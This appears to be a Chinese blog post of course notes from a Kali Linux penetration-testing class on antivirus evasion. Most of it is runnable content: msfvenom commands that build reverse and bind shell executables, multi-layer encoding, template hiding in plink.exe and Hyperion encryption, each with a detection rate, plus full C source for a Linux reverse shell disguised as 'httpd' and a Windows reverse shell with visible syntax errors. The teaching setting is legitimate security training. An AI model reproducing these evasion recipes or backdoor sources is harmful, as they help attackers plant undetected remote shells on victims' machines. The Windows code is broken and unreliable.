Kali Linux渗透测试 135 免杀简介
本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程Kali Linux渗透测试(苑房弘)博客记录1. 恶意软件病毒、木马、蠕虫、键盘激励、僵尸程序、流氓软件、勒索软件、广告程序在用户非自愿的情况下执行安装处于某种恶意的目的:控制、窃取、勒索、偷窥、推送、攻击……2. 防病毒软件恶意程序最主要
本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程
1. 恶意软件
- 病毒、木马、蠕虫、键盘激励、僵尸程序、流氓软件、勒索软件、广告程序
- 在用户非自愿的情况下执行安装
- 处于某种恶意的目的:控制、窃取、勒索、偷窥、推送、攻击……
2. 防病毒软件
-
恶意程序最主要的防护手段
- 杀毒软件/防病毒软件
- 客户端/服务器/邮件防病毒
-
检测原理
- 基于二进制文件中特征签名的黑名单检测方法
- 基于行为的分析方法(启发式)
-
事后手段
- 永远落后于病毒发展
3. 免杀技术
-
修改二进制文件中的特征字符
- 替换、擦除、修改
-
加密技术(crypter)
- 通过加密是的特征字符不可读,从而台币AV 检测
- 运行时分片分段的解密执行,注入进程或 AV 不检查的无害文件中
-
防病毒软件的检测
- 恶意程序本身的特征字符
- 加密器 cripter 的特征字符
4. 当前现状
-
恶意软件制造者
- 编写私有的 RAT 软件,避免普遍被 AV 所知的特征字符
- 使用独有 crypter 软件加密恶意程序
- 处事低调,尽量避免被发现
- 没有能力自己编写恶意代码的黑客,通过直接修改特征码的方式免杀
- Fully UnDetectable 还最高追求 (FUD)
-
AV 厂商
- 广泛采集样本,尽快发现出现的病毒程序,更新病毒库
- 一般新的恶意软件安全 UD 窗口期是一周左右
- 乐毅软件制造者永无休止的拉锯战
- 信的启发式检测技术尚有待完善(误杀漏杀)
-
单一 AV 厂商的病毒库很难达到 100% 覆盖
-
- 接口被某些国家的AV软禁免费利用,没有自己的病毒库
-
在线多引擎查杀网站与 AV 查杀共享信息
-
搞黑的在线多引擎查毒站
-
-
常用的 RAT 软件
- 灰鸽子、波尔、黑暗彗星、潘多拉、NanoCore
5. 生成病毒程序
1. 生成程序
-
生成反弹 shell
root@kali:~# msfvenom -p windows/shell/bind_tcp lhost=10.10.10.131 lport=4444 -a x86 --platform win -f exe -o a.exe
-
加密编码反弹 shell
root@kali:~# msfvenom -p windows/shell/bind_tcp lhost=10.10.10.132 lport=4444 -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -b '\x00' -f exe -o b.exe
-
比较编码前后的检测率
-
未经过编码的 a.exe 检测率是 45%
-
经过编码的 b.exe 检测率是 45% ,原因是检测引擎对所使用的编码软件的加密痕迹进行检查
-
2. 隐藏 shell
-
利用模板隐藏 shell
root@kali:~# msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe lhost=10.10.10.131 lport=4444 -a x86 --platform win -f exe -o c.exe
-
多重编码
root@kali:~# msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/plink.exe lhost=10.10.10.131 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 --platform win -f exe > d.exe
-
比较编码前后的检测率
-
未经过编码的 c.exe 检测率是 40%
-
经过编码的 d.exe 检测率是 30%
-
6. 软件保护
-
软件开发商为保护版权,采用的混淆和加密技术避免盗版逆向
-
常被恶意软件用于免杀目的
-
Hyperion (32bit PE 程序加密器)
-
Crypter / Container(解密器 PE Loader )
root@kali:~# git clone https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-1.2.zip root@kali:~# unzip Hyperion-1.2.zip root@kali:~# dpkg --add-architecture i386 && apt-get update && apt-get install wine32 # 生成加密器 root@kali:~# cd Hyperion-1.2 && i686-w64-mingw32-g++ -static-libgcc -static-libstdc++ Src/Crypter/*.cpp -o h.exe # 生成木马程序 root@kali:~# msfvenom -p windows/shell/reverse_tcp lhost=10.10.10.131 lport=4444 --platform win -e x86/shikata_ga_nai -a x86 -f exe -o p.exe # 对木马程序进行加密 root@kali:~# wine h.exe p.exe x.exe
-
比较编码前后的检测率
-
未经过编码的 p.exe 检测率是 45%
-
未经过编码的 x.exe 检测率是 37%
-
7. 自己编写后门
-
Windows reverse shell
root@kali:~# wine gcc.exe windows.c -o windows.exe -lws2_32
-
Linux shell
root@kali:~# gcc linux_revers_shell.c -o linux # 测试程序 root@kali:~# nc -nvlp 333 root@kali:~# ./linux 127.0.0.1 333
-
linux_revers_shell.c
#include <stdio.h> #include <sys/socket.h> #include <arpa/inet.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <netinet/in.h> int main(int argc, char *argv[]) { struct sockaddr_in sock; int s; if (argc != 3) { fprintf(stderr, "uso: <rhost> <rport>\n"); exit(1); } sock.sin_family = AF_INET; sock.sin_port = htons(atoi(argv[2])); sock.sin_addr.s_addr = inet_addr(argv[1]); s = socket(AF_INET, SOCK_STREAM, 0); connect(s,(struct sockaddr_in *)&sock, sizeof(struct sockaddr_in)); dup2(s,0); dup2(s,1); dup2(s,2); execl("/bin/sh","httpd",(char *)0); //precess httpd }
-
windows.c
# 未修正错误 #include <winsock2.h> #include <stdio.h> #pragma comment(lib,"ws2_32") WSADATA wsaData; SOCKET Winsock; SOOKET Sock; struct sockaddr_in hax; char ip_addr[16]; STARTUPINFO ini_processo; PROCESS_INFORMATION processo_info; int main(int argc,char *argv[]) WSAStartup(MAKEWORD(2,2), wsaData); winsock=WSASoket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL); if (argc != 3) {fprintf(stderr,"Uso: <rhost> <rport>\n";) exit(1);} struct hostent *host; host = gethostbyname(argv [1] ); strcpy(ip_addr,inet_ntoa(*((struct in_addr *)host->h_addr))); hax.sin_family = AF_INET; hax.sin_port = htons(atoi(argv[2])); hax.sin_addr.s_addr = inet_addr(ip_addr); WSAConnect(Winsock,(SOCKADDR* &hax,sizeof(hax),NULL,NULL,NULL,NULL; memset(&ini_processo,0,sizeof(ini_processo)); ini_processo.cb = sizeof(ini_processo); ini_processo.dwFlags = START_USESTDHANDLES; ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock; CreateProcess(NULL,"cmd exe",NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&process_info);
更多推荐
所有评论(0)